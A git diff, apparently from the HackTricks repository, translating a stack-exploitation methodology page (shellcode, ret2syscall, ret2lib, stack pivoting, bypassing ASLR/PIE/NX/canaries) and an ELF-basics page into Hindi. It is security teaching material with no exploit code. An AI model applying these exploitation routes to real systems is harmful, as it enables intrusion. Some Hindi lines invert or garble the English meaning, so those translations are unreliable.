वेरिएबल्स**](../stack-overflow/uninitialized-variables.md): आप कभी नहीं जानते। -### Goal: RCE +### लक्ष्य: RCE -#### Via shellcode, if nx disabled or mixing shellcode with ROP: +#### शेलकोड के माध्यम से, यदि nx अक्षम है या शेलकोड को ROP के साथ मिलाकर: -- [**(Stack) Shellcode**](./#stack-shellcode): This is useful to store a shellcode in the stack before of after overwriting the return pointer and then **jump to it** to execute it: - - **In any case, if there is a** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/)**,** in a regular bof you will need to bypass (leak) it - - **Without** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **and** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) it's possible to jump to the address of the stack as it won't never change - - **With** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) you will need techniques such as [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) to jump to it - - **With** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), you will need to use some [**ROP**](../rop-return-oriented-programing/) **to call `memprotect`** and make some page `rwx`, in order to then **store the shellcode in there** (calling read for example) and then jump there. - - This will mix shellcode with a ROP chain. +- [**(स्टैक) शेलकोड**](./#stack-shellcode): यह रिटर्न पॉइंटर को ओवरराइट करने से पहले या बाद में स्टैक में शेलकोड स्टोर करने के लिए उपयोगी है और फिर **इसे निष्पादित करने के लिए** कूदें: +- किसी भी मामले में, यदि वहाँ एक [**कनारी**](../common-binary-protections-and-bypasses/stack-canaries/)** है,** एक नियमित bof में आपको इसे बायपास (लीक) करने की आवश्यकता होगी। +- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **और** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) के बिना, स्टैक के पते पर कूदना संभव है क्योंकि यह कभी नहीं बदलेगा। +- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) के साथ, आपको [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) जैसी तकनीकों की आवश्यकता होगी। +- [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) के साथ, आपको `memprotect` को कॉल करने के लिए कुछ [**ROP**](../rop-return-oriented-programing/) का उपयोग करने की आवश्यकता होगी और कुछ पृष्ठ `rwx` बनाना होगा, ताकि फिर **शेलकोड को वहाँ स्टोर किया जा सके** (उदाहरण के लिए पढ़ें) और फिर वहाँ कूदें। +- यह शेलकोड को ROP श्रृंखला के साथ मिलाएगा। -#### Via syscalls +#### सिस्टम कॉल के माध्यम से -- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/): Useful to call `execve` to run arbitrary commands. You need to be able to find the **gadgets to call the specific syscall with the parameters**. - - If [**ASLR**](../common-binary-protections-and-bypasses/aslr/) or [**PIE**](../common-binary-protections-and-bypasses/pie/) are enabled you'll need to defeat them **in order to use ROP gadgets** from the binary or libraries. - - [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) can be useful to prepare the **ret2execve** - - Gadgets from [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) and [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) to control several registers +- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/): मनमाने आदेशों को चलाने के लिए `execve` को कॉल करने के लिए उपयोगी। आपको **विशिष्ट syscall को कॉल करने के लिए गैजेट्स खोजने में सक्षम होना चाहिए**। +- यदि [**ASLR**](../common-binary-protections-and-bypasses/aslr/) या [**PIE**](../common-binary-protections-and-bypasses/pie/) सक्षम हैं, तो आपको **ROP गैजेट्स का उपयोग करने के लिए उन्हें पराजित करने की आवश्यकता होगी**। +- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) **ret2execve** तैयार करने के लिए उपयोगी हो सकता है। +- [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) और [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) से गैजेट्स कई रजिस्टर को नियंत्रित करने के लिए। -#### Via libc +#### libc के माध्यम से -- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/): Useful to call a function from a library (usually from **`libc`**) like **`system`** with some prepared arguments (e.g. `'/bin/sh'`). You need the binary to **load the library** with the function you would like to call (libc usually). - - If **statically compiled and no** [**PIE**](../common-binary-protections-and-bypasses/pie/), the **address** of `system` and `/bin/sh` are not going to change, so it's possible to use them statically. - - **Without** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **and knowing the libc version** loaded, the **address** of `system` and `/bin/sh` are not going to change, so it's possible to use them statically. - - With [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **but no** [**PIE**](../common-binary-protections-and-bypasses/pie/)**, knowing the libc and with the binary using the `system`** function it's possible to **`ret` to the address of system in the GOT** with the address of `'/bin/sh'` in the param (you will need to figure this out). - - With [ASLR](../common-binary-protections-and-bypasses/aslr/) but no [PIE](../common-binary-protections-and-bypasses/pie/), knowing the libc and **without the binary using the `system`** : - - Use [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md) to resolve the address of `system` and call it - - **Bypass** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) and calculate the address of `system` and `'/bin/sh'` in memory. - - **With** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **and** [**PIE**](../common-binary-protections-and-bypasses/pie/) **and not knowing the libc**: You need to: - - Bypass [**PIE**](../common-binary-protections-and-bypasses/pie/) - - Find the **`libc` version** used (leak a couple of function addresses) - - Check the **previous scenarios with ASLR** to continue. +- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/): एक लाइब्रेरी (आमतौर पर **`libc`**) से फ़ंक्शन को कॉल करने के लिए उपयोगी जैसे **`system`** कुछ तैयार तर्कों के साथ (जैसे `'/bin/sh'`)। आपको बाइनरी को **लाइब्रेरी** को लोड करने की आवश्यकता है जिसमें आप कॉल करना चाहते हैं (आमतौर पर libc)। +- यदि **स्थैतिक रूप से संकलित और कोई** [**PIE**](../common-binary-protections-and-bypasses/pie/) नहीं है, तो `system` और `/bin/sh` का **पता** नहीं बदलेगा, इसलिए आप उन्हें स्थैतिक रूप से उपयोग कर सकते हैं। +- **बिना** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **और libc संस्करण** को जानने के बिना, `system` और `/bin/sh` का **पता** नहीं बदलेगा, इसलिए आप उन्हें स्थैतिक रूप से उपयोग कर सकते हैं। +- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **के साथ लेकिन कोई** [**PIE**](../common-binary-protections-and-bypasses/pie/) नहीं है, libc को जानने और बाइनरी का उपयोग करते हुए `system` फ़ंक्शन के साथ, आप **GOT में system के पते पर `ret`** कर सकते हैं जिसमें `'/bin/sh'` का पता पैरामीटर में है (आपको इसे समझना होगा)। +- [ASLR](../common-binary-protections-and-bypasses/aslr/) के साथ लेकिन कोई [PIE](../common-binary-protections-and-bypasses/pie/) नहीं है, libc को जानने और **बाइनरी का उपयोग किए बिना `system`**: +- [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md) का उपयोग करें ताकि `system` का पता हल किया जा सके और इसे कॉल किया जा सके। +- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) को बायपास करें और मेमोरी में `system` और `'/bin/sh'` का पता निकालें। +- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **और** [**PIE**](../common-binary-protections-and-bypasses/pie/) के साथ और libc को न जानते हुए: आपको: +- [**PIE**](../common-binary-protections-and-bypasses/pie/) को बायपास करना होगा। +- उपयोग की गई **`libc` संस्करण** को खोजें (कुछ फ़ंक्शन पते लीक करें)। +- आगे बढ़ने के लिए **ASLR के साथ पिछले परिदृश्यों** की जांच करें। -#### Via EBP/RBP +#### EBP/RBP के माध्यम से -- [**Stack Pivoting / EBP2Ret / EBP Chaining**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): Control the ESP to control RET through the stored EBP in the stack. - - Useful for **off-by-one** stack overflows - - Useful as an alternate way to end controlling EIP while abusing EIP to construct the payload in memory and then jumping to it via EBP +- [**स्टैक पिवोटिंग / EBP2Ret / EBP चेनिंग**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): स्टैक में स्टोर किए गए EBP के माध्यम से RET को नियंत्रित करने के लिए ESP को नियंत्रित करें। +- **ऑफ-बाय-वन** स्टैक ओवरफ्लो के लिए उपयोगी। +- मेमोरी में पेलोड का निर्माण करते समय EIP को नियंत्रित करने के लिए एक वैकल्पिक तरीके के रूप में उपयोगी और फिर EBP के माध्यम से उस पर कूदना। -#### Misc +#### विविध -- [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): In case the stack contains pointers to a function that is going to be called or to a string that is going to be used by an interesting function (system or printf), it's possible to overwrite that address. - - [**ASLR**](../common-binary-protections-and-bypasses/aslr/) or [**PIE**](../common-binary-protections-and-bypasses/pie/) might affect the addresses. -- [**Uninitialized variables**](../stack-overflow/uninitialized-variables.md): You never know +- [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): यदि स्टैक में किसी फ़ंक्शन के लिए या किसी स्ट्रिंग के लिए जो एक दिलचस्प फ़ंक्शन (system या printf) द्वारा उपयोग किया जाने वाला है, तो उस पते को ओवरराइट करना संभव है। +- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) या [**PIE**](../common-binary-protections-and-bypasses/pie/) पते को प्रभावित कर सकते हैं। +- [**अनइनीशियलाइज़्ड वेरिएबल्स**](../stack-overflow/uninitialized-variables.md): आप कभी नहीं जानते। {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/elf-tricks.md b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/elf-tricks.md index f5886ddcc..e325841e1 100644 --- a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/elf-tricks.md +++ b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/elf-tricks.md @@ -1,11 +1,10 @@ -# ELF Basic Information +# ELF बुनियादी जानकारी {{#include ../../banners/hacktricks-training.md}} -## Program Headers - -The describe to the loader how to load the **ELF** into memory: +## प्रोग्राम हेडर +यह लोडर को बताता है कि **ELF** को मेमोरी में कैसे लोड किया जाए: ```bash readelf -lW lnstat @@ -14,80 +13,78 @@ Entry point 0x1c00 There are 9 program headers, starting at offset 64 Program Headers: - Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align - PHDR 0x000040 0x0000000000000040 0x0000000000000040 0x0001f8 0x0001f8 R 0x8 - INTERP 0x000238 0x0000000000000238 0x0000000000000238 0x00001b 0x00001b R 0x1 - [Requesting program interpreter: /lib/ld-linux-aarch64.so.1] - LOAD 0x000000 0x0000000000000000 0x0000000000000000 0x003f7c 0x003f7c R E 0x10000 - LOAD 0x00fc48 0x000000000001fc48 0x000000000001fc48 0x000528 0x001190 RW 0x10000 - DYNAMIC 0x00fc58 0x000000000001fc58 0x000000000001fc58 0x000200 0x000200 RW 0x8 - NOTE 0x000254 0x0000000000000254 0x0000000000000254 0x0000e0 0x0000e0 R 0x4 - GNU_EH_FRAME 0x003610 0x0000000000003610 0x0000000000003610 0x0001b4 0x0001b4 R 0x4 - GNU_STACK 0x000000 0x0000000000000000 0x0000000000000000 0x000000 0x000000 RW 0x10 - GNU_RELRO 0x00fc48 0x000000000001fc48 0x000000000001fc48 0x0003b8 0x0003b8 R 0x1 +Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align +PHDR 0x000040 0x0000000000000040 0x0000000000000040 0x0001f8 0x0001f8 R 0x8 +INTERP 0x000238 0x0000000000000238 0x0000000000000238 0x00001b 0x00001b R 0x1 +[Requesting program interpreter: /lib/ld-linux-aarch64.so.1] +LOAD 0x000000 0x0000000000000000 0x0000000000000000 0x003f7c 0x003f7c R E 0x10000 +LOAD 0x00fc48 0x000000000001fc48 0x000000000001fc48 0x000528 0x001190 RW 0x10000 +DYNAMIC 0x00fc58 0x000000000001fc58 0x000000000001fc58 0x000200 0x000200 RW 0x8 +NOTE 0x000254 0x0000000000000254 0x0000000000000254 0x0000e0 0x0000e0 R 0x4 +GNU_EH_FRAME 0x003610 0x0000000000003610 0x0000000000003610 0x0001b4 0x0001b4 R 0x4 +GNU_STACK 0x000000 0x0000000000000000 0x0000000000000000 0x000000 0x000000 RW 0x10 +GNU_RELRO 0x00fc48 0x000000000001fc48 0x000000000001fc48 0x0003b8 0x0003b8 R 0x1 - Section to Segment mapping: - Segment Sections... - 00 - 01 .interp - 02 .interp .note.gnu.build-id .note.ABI-tag .note.package .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame - 03 .init_array .fini_array .dynamic .got .data .bss - 04 .dynamic - 05 .note.gnu.build-id .note.ABI-tag .note.package - 06 .eh_frame_hdr - 07 - 08 .init_array .fini_array .dynamic .got +Section to Segment mapping: +Segment Sections... +00 +01 .interp +02 .interp .note.gnu.build-id .note.ABI-tag .note.package .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame +03 .init_array .fini_array .dynamic .got .data .bss +04 .dynamic +05 .note.gnu.build-id .note.ABI-tag .note.package +06 .eh_frame_hdr +07 +08 .init_array .fini_array .dynamic .got ``` +पिछले प्रोग्राम में **9 प्रोग्राम हेडर** हैं, फिर, **सेगमेंट मैपिंग** यह दर्शाता है कि **प्रत्येक सेक्शन** किस प्रोग्राम हेडर (00 से 08 तक) में **स्थित है**। -The previous program has **9 program headers**, then, the **segment mapping** indicates in which program header (from 00 to 08) **each section is located**. +### PHDR - प्रोग्राम हेडर -### PHDR - Program HeaDeR - -Contains the program header tables and metadata itself. +प्रोग्राम हेडर टेबल और मेटाडेटा को स्वयं शामिल करता है। ### INTERP -Indicates the path of the loader to use to load the binary into memory. +बाइनरी को मेमोरी में लोड करने के लिए उपयोग करने के लिए लोडर का पथ दर्शाता है। ### LOAD -These headers are used to indicate **how to load a binary into memory.**\ -Each **LOAD** header indicates a region of **memory** (size, permissions and alignment) and indicates the bytes of the ELF **binary to copy in there**. +ये हेडर यह दर्शाने के लिए उपयोग किए जाते हैं कि **बाइनरी को मेमोरी में कैसे लोड किया जाए।**\ +प्रत्येक **LOAD** हेडर **मेमोरी** के एक क्षेत्र (आकार, अनुमतियाँ और संरेखण) को दर्शाता है और ELF **बाइनरी के बाइट्स को वहाँ कॉपी करने** का संकेत देता है। -For example, the second one has a size of 0x1190, should be located at 0x1fc48 with permissions read and write and will be filled with 0x528 from the offset 0xfc48 (it doesn't fill all the reserved space). This memory will contain the sections `.init_array .fini_array .dynamic .got .data .bss`. +उदाहरण के लिए, दूसरा 0x1190 का आकार है, इसे 0x1fc48 पर स्थित होना चाहिए जिसमें पढ़ने और लिखने की अनुमतियाँ हैं और इसे 0xfc48 से 0x528 से भरा जाएगा (यह सभी आरक्षित स्थान को नहीं भरता)। यह मेमोरी सेक्शन को शामिल करेगी `.init_array .fini_array .dynamic .got .data .bss`। ### DYNAMIC -This header helps to link programs to their library dependencies and apply relocations. Check the **`.dynamic`** section. +यह हेडर प्रोग्रामों को उनके पुस्तकालय निर्भरताओं से लिंक करने और पुनर्स्थापनाएँ लागू करने में मदद करता है। **`.dynamic`** सेक्शन की जांच करें। ### NOTE -This stores vendor metadata information about the binary. +यह बाइनरी के बारे में विक्रेता मेटाडेटा जानकारी संग्रहीत करता है। ### GNU_EH_FRAME -Defines the location of the stack unwind tables, used by debuggers and C++ exception handling-runtime functions. +स्टैक अनवाइंड टेबल के स्थान को परिभाषित करता है, जिसका उपयोग डिबगर्स और C++ अपवाद हैंडलिंग-रनटाइम फ़ंक्शंस द्वारा किया जाता है। ### GNU_STACK -Contains the configuration of the stack execution prevention defense. If enabled, the binary won't be able to execute code from the stack. +स्टैक निष्पादन रोकथाम रक्षा की कॉन्फ़िगरेशन को शामिल करता है। यदि सक्षम है, तो बाइनरी स्टैक से कोड निष्पादित नहीं कर सकेगी। ### GNU_RELRO -Indicates the RELRO (Relocation Read-Only) configuration of the binary. This protection will mark as read-only certain sections of the memory (like the `GOT` or the `init` and `fini` tables) after the program has loaded and before it begins running. +बाइनरी के RELRO (रिलोकेशन रीड-ओनली) कॉन्फ़िगरेशन को दर्शाता है। यह सुरक्षा प्रोग्राम के लोड होने के बाद और चलने से पहले मेमोरी के कुछ सेक्शनों (जैसे `GOT` या `init` और `fini` टेबल) को रीड-ओनली के रूप में चिह्नित करेगी। -In the previous example it's copying 0x3b8 bytes to 0x1fc48 as read-only affecting the sections `.init_array .fini_array .dynamic .got .data .bss`. +पिछले उदाहरण में यह 0x1fc48 पर 0x3b8 बाइट्स को रीड-ओनली के रूप में कॉपी कर रहा है जो सेक्शनों को प्रभावित करता है `.init_array .fini_array .dynamic .got .data .bss`। -Note that RELRO can be partial or full, the partial version do not protect the section **`.plt.got`**, which is used for **lazy binding** and needs this memory space to have **write permissions** to write the address of the libraries the first time their location is searched. +ध्यान दें कि RELRO आंशिक या पूर्ण हो सकता है, आंशिक संस्करण **`.plt.got`** सेक्शन की सुरक्षा नहीं करता है, जिसका उपयोग **लेज़ी बाइंडिंग** के लिए किया जाता है और इसे पुस्तकालयों के पते को पहली बार खोजे जाने पर लिखने के लिए **लिखने की अनुमतियाँ** की आवश्यकता होती है। ### TLS -Defines a table of TLS entries, which stores info about thread-local variables. +TLS प्रविष्टियों की एक तालिका को परिभाषित करता है, जो थ्रेड-स्थानीय चर के बारे में जानकारी संग्रहीत करता है। -## Section Headers - -Section headers gives a more detailed view of the ELF binary +## सेक्शन हेडर +सेक्शन हेडर ELF बाइनरी का अधिक विस्तृत दृश्य प्रदान करते हैं। ``` objdump lnstat -h @@ -95,159 +92,153 @@ lnstat: file format elf64-littleaarch64 Sections: Idx Name Size VMA LMA File off Algn - 0 .interp 0000001b 0000000000000238 0000000000000238 00000238 2**0 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 1 .note.gnu.build-id 00000024 0000000000000254 0000000000000254 00000254 2**2 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 2 .note.ABI-tag 00000020 0000000000000278 0000000000000278 00000278 2**2 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 3 .note.package 0000009c 0000000000000298 0000000000000298 00000298 2**2 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 4 .gnu.hash 0000001c 0000000000000338 0000000000000338 00000338 2**3 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 5 .dynsym 00000498 0000000000000358 0000000000000358 00000358 2**3 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 6 .dynstr 000001fe 00000000000007f0 00000000000007f0 000007f0 2**0 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 7 .gnu.version 00000062 00000000000009ee 00000000000009ee 000009ee 2**1 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 8 .gnu.version_r 00000050 0000000000000a50 0000000000000a50 00000a50 2**3 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 9 .rela.dyn 00000228 0000000000000aa0 0000000000000aa0 00000aa0 2**3 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 10 .rela.plt 000003c0 0000000000000cc8 0000000000000cc8 00000cc8 2**3 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 11 .init 00000018 0000000000001088 0000000000001088 00001088 2**2 - CONTENTS, ALLOC, LOAD, READONLY, CODE - 12 .plt 000002a0 00000000000010a0 00000000000010a0 000010a0 2**4 - CONTENTS, ALLOC, LOAD, READONLY, CODE - 13 .text 00001c34 0000000000001340 0000000000001340 00001340 2**6 - CONTENTS, ALLOC, LOAD, READONLY, CODE - 14 .fini 00000014 0000000000002f74 0000000000002f74 00002f74 2**2 - CONTENTS, ALLOC, LOAD, READONLY, CODE - 15 .rodata 00000686 0000000000002f88 0000000000002f88 00002f88 2**3 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 16 .eh_frame_hdr 000001b4 0000000000003610 0000000000003610 00003610 2**2 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 17 .eh_frame 000007b4 00000000000037c8 00000000000037c8 000037c8 2**3 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 18 .init_array 00000008 000000000001fc48 000000000001fc48 0000fc48 2**3 - CONTENTS, ALLOC, LOAD, DATA - 19 .fini_array 00000008 000000000001fc50 000000000001fc50 0000fc50 2**3 - CONTENTS, ALLOC, LOAD, DATA - 20 .dynamic 00000200 000000000001fc58 000000000001fc58 0000fc58 2**3 - CONTENTS, ALLOC, LOAD, DATA - 21 .got 000001a8 000000000001fe58 000000000001fe58 0000fe58 2**3 - CONTENTS, ALLOC, LOAD, DATA - 22 .data 00000170 0000000000020000 0000000000020000 00010000 2**3 - CONTENTS, ALLOC, LOAD, DATA - 23 .bss 00000c68 0000000000020170 0000000000020170 00010170 2**3 - ALLOC - 24 .gnu_debugaltlink 00000049 0000000000000000 0000000000000000 00010170 2**0 - CONTENTS, READONLY - 25 .gnu_debuglink 00000034 0000000000000000 0000000000000000 000101bc 2**2 - CONTENTS, READONLY +0 .interp 0000001b 0000000000000238 0000000000000238 00000238 2**0 +CONTENTS, ALLOC, LOAD, READONLY, DATA +1 .note.gnu.build-id 00000024 0000000000000254 0000000000000254 00000254 2**2 +CONTENTS, ALLOC, LOAD, READONLY, DATA +2 .note.ABI-tag 00000020 0000000000000278 0000000000000278 00000278 2**2 +CONTENTS, ALLOC, LOAD, READONLY, DATA +3 .note.package 0000009c 0000000000000298 0000000000000298 00000298 2**2 +CONTENTS, ALLOC, LOAD, READONLY, DATA +4 .gnu.hash 0000001c 0000000000000338 0000000000000338 00000338 2**3 +CONTENTS, ALLOC, LOAD, READONLY, DATA +5 .dynsym 00000498 0000000000000358 0000000000000358 00000358 2**3 +CONTENTS, ALLOC, LOAD, READONLY, DATA +6 .dynstr 000001fe 00000000000007f0 00000000000007f0 000007f0 2**0 +CONTENTS, ALLOC, LOAD, READONLY, DATA +7 .gnu.version 00000062 00000000000009ee 00000000000009ee 000009ee 2**1 +CONTENTS, ALLOC, LOAD, READONLY, DATA +8 .gnu.version_r 00000050 0000000000000a50 0000000000000a50 00000a50 2**3 +CONTENTS, ALLOC, LOAD, READONLY, DATA +9 .rela.dyn 00000228 0000000000000aa0 0000000000000aa0 00000aa0 2**3 +CONTENTS, ALLOC, LOAD, READONLY, DATA +10 .rela.plt 000003c0 0000000000000cc8 0000000000000cc8 00000cc8 2**3 +CONTENTS, ALLOC, LOAD, READONLY, DATA +11 .init 00000018 0000000000001088 0000000000001088 00001088 2**2 +CONTENTS, ALLOC, LOAD, READONLY, CODE +12 .plt 000002a0 00000000000010a0 00000000000010a0 000010a0 2**4 +CONTENTS, ALLOC, LOAD, READONLY, CODE +13 .text 00001c34 0000000000001340 0000000000001340 00001340 2**6 +CONTENTS, ALLOC, LOAD, READONLY, CODE +14 .fini 00000014 0000000000002f74 0000000000002f74 00002f74 2**2 +CONTENTS, ALLOC, LOAD, READONLY, CODE +15 .rodata 00000686 0000000000002f88 0000000000002f88 00002f88 2**3 +CONTENTS, ALLOC, LOAD, READONLY, DATA +16 .eh_frame_hdr 000001b4 0000000000003610 0000000000003610 00003610 2**2 +CONTENTS, ALLOC, LOAD, READONLY, DATA +17 .eh_frame 000007b4 00000000000037c8 00000000000037c8 000037c8 2**3 +CONTENTS, ALLOC, LOAD, READONLY, DATA +18 .init_array 00000008 000000000001fc48 000000000001fc48 0000fc48 2**3 +CONTENTS, ALLOC, LOAD, DATA +19 .fini_array 00000008 000000000001fc50 000000000001fc50 0000fc50 2**3 +CONTENTS, ALLOC, LOAD, DATA +20 .dynamic 00000200 000000000001fc58 000000000001fc58 0000fc58 2**3 +CONTENTS, ALLOC, LOAD, DATA +21 .got 000001a8 000000000001fe58 000000000001fe58 0000fe58 2**3 +CONTENTS, ALLOC, LOAD, DATA +22 .data 00000170 0000000000020000 0000000000020000 00010000 2**3 +CONTENTS, ALLOC, LOAD, DATA +23 .bss 00000c68 0000000000020170 0000000000020170 00010170 2**3 +ALLOC +24 .gnu_debugaltlink 00000049 0000000000000000 0000000000000000 00010170 2**0 +CONTENTS, READONLY +25 .gnu_debuglink 00000034 0000000000000000 0000000000000000 000101bc 2**2 +CONTENTS, READONLY ``` +यह स्थान, ऑफ़सेट, अनुमतियों को भी इंगित करता है लेकिन यह भी **डेटा के प्रकार** को दर्शाता है जो इसके अनुभाग में है। -It also indicates the location, offset, permissions but also the **type of data** it section has. +### मेटा अनुभाग -### Meta Sections +- **स्ट्रिंग तालिका**: इसमें ELF फ़ाइल द्वारा आवश्यक सभी स्ट्रिंग्स होती हैं (लेकिन प्रोग्राम द्वारा वास्तव में उपयोग की जाने वाली नहीं)। उदाहरण के लिए, इसमें अनुभागों के नाम जैसे `.text` या `.data` होते हैं। और यदि `.text` स्ट्रिंग तालिका में ऑफ़सेट 45 पर है, तो यह **नाम** फ़ील्ड में संख्या **45** का उपयोग करेगा। +- स्ट्रिंग तालिका का स्थान खोजने के लिए, ELF में स्ट्रिंग तालिका के लिए एक पॉइंटर होता है। +- **सिंबल तालिका**: इसमें प्रतीकों के बारे में जानकारी होती है जैसे नाम (स्ट्रिंग तालिका में ऑफ़सेट), पता, आकार और प्रतीक के बारे में अधिक मेटाडेटा। -- **String table**: It contains all the strings needed by the ELF file (but not the ones actually used by the program). For example it contains sections names like `.text` or `.data`. And if `.text` is at offset 45 in the strings table it will use the number **45** in the **name** field. - - In order to find where the string table is, the ELF contains a pointer to the string table. -- **Symbol table**: It contains info about the symbols like the name (offset in the strings table), address, size and more metadata about the symbol. +### मुख्य अनुभाग -### Main Sections +- **`.text`**: प्रोग्राम को चलाने के लिए निर्देश। +- **`.data`**: प्रोग्राम में एक परिभाषित मान के साथ वैश्विक चर। +- **`.bss`**: वैश्विक चर जो अनियोजित छोड़ दिए गए हैं (या शून्य पर प्रारंभिक)। यहाँ के चर स्वचालित रूप से शून्य पर प्रारंभिक होते हैं, इसलिए बाइनरी में बेकार शून्य जोड़ने से रोका जाता है। +- **`.rodata`**: स्थायी वैश्विक चर (पढ़ने के लिए केवल अनुभाग)। +- **`.tdata`** और **`.tbss`**: जैसे .data और .bss जब थ्रेड-स्थानीय चर का उपयोग किया जाता है (`__thread_local` C++ में या `__thread` C में)। +- **`.dynamic`**: नीचे देखें। -- **`.text`**: The instruction of the program to run. -- **`.data`**: Global variables with a defined value in the program. -- **`.bss`**: Global variables left uninitialized (or init to zero). Variables here are automatically intialized to zero therefore preventing useless zeroes to being added to the binary. -- **`.rodata`**: Constant global variables (read-only section). -- **`.tdata`** and **`.tbss`**: Like the .data and .bss when thread-local variables are used (`__thread_local` in C++ or `__thread` in C). -- **`.dynamic`**: See below. - -## Symbols - -Symbols is a named location in the program which could be a function, a global data object, thread-local variables... +## प्रतीक +प्रतीक प्रोग्राम में एक नामित स्थान है जो एक फ़ंक्शन, एक वैश्विक डेटा ऑब्जेक्ट, थ्रेड-स्थानीय चर हो सकता है... ``` readelf -s lnstat Symbol table '.dynsym' contains 49 entries: - Num: Value Size Type Bind Vis Ndx Name - 0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND - 1: 0000000000001088 0 SECTION LOCAL DEFAULT 12 .init - 2: 0000000000020000 0 SECTION LOCAL DEFAULT 23 .data - 3: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strtok@GLIBC_2.17 (2) - 4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND s[...]@GLIBC_2.17 (2) - 5: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strlen@GLIBC_2.17 (2) - 6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fputs@GLIBC_2.17 (2) - 7: 0000000000000000 0 FUNC GLOBAL DEFAULT UND exit@GLIBC_2.17 (2) - 8: 0000000000000000 0 FUNC GLOBAL DEFAULT UND _[...]@GLIBC_2.34 (3) - 9: 0000000000000000 0 FUNC GLOBAL DEFAULT UND perror@GLIBC_2.17 (2) - 10: 0000000000000000 0 NOTYPE WEAK DEFAULT UND _ITM_deregisterT[...] - 11: 0000000000000000 0 FUNC WEAK DEFAULT UND _[...]@GLIBC_2.17 (2) - 12: 0000000000000000 0 FUNC GLOBAL DEFAULT UND putc@GLIBC_2.17 (2) - [...] +Num: Value Size Type Bind Vis Ndx Name +0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND +1: 0000000000001088 0 SECTION LOCAL DEFAULT 12 .init +2: 0000000000020000 0 SECTION LOCAL DEFAULT 23 .data +3: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strtok@GLIBC_2.17 (2) +4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND s[...]@GLIBC_2.17 (2) +5: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strlen@GLIBC_2.17 (2) +6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fputs@GLIBC_2.17 (2) +7: 0000000000000000 0 FUNC GLOBAL DEFAULT UND exit@GLIBC_2.17 (2) +8: 0000000000000000 0 FUNC GLOBAL DEFAULT UND _[...]@GLIBC_2.34 (3) +9: 0000000000000000 0 FUNC GLOBAL DEFAULT UND perror@GLIBC_2.17 (2) +10: 0000000000000000 0 NOTYPE WEAK DEFAULT UND _ITM_deregisterT[...] +11: 0000000000000000 0 FUNC WEAK DEFAULT UND _[...]@GLIBC_2.17 (2) +12: 0000000000000000 0 FUNC GLOBAL DEFAULT UND putc@GLIBC_2.17 (2) +[...] ``` +प्रत्येक प्रतीक प्रविष्टि में शामिल हैं: -Each symbol entry contains: - -- **Name** -- **Binding attributes** (weak, local or global): A local symbol can only be accessed by the program itself while the global symbol are shared outside the program. A weak object is for example a function that can be overridden by a different one. -- **Type**: NOTYPE (no type specified), OBJECT (global data var), FUNC (function), SECTION (section), FILE 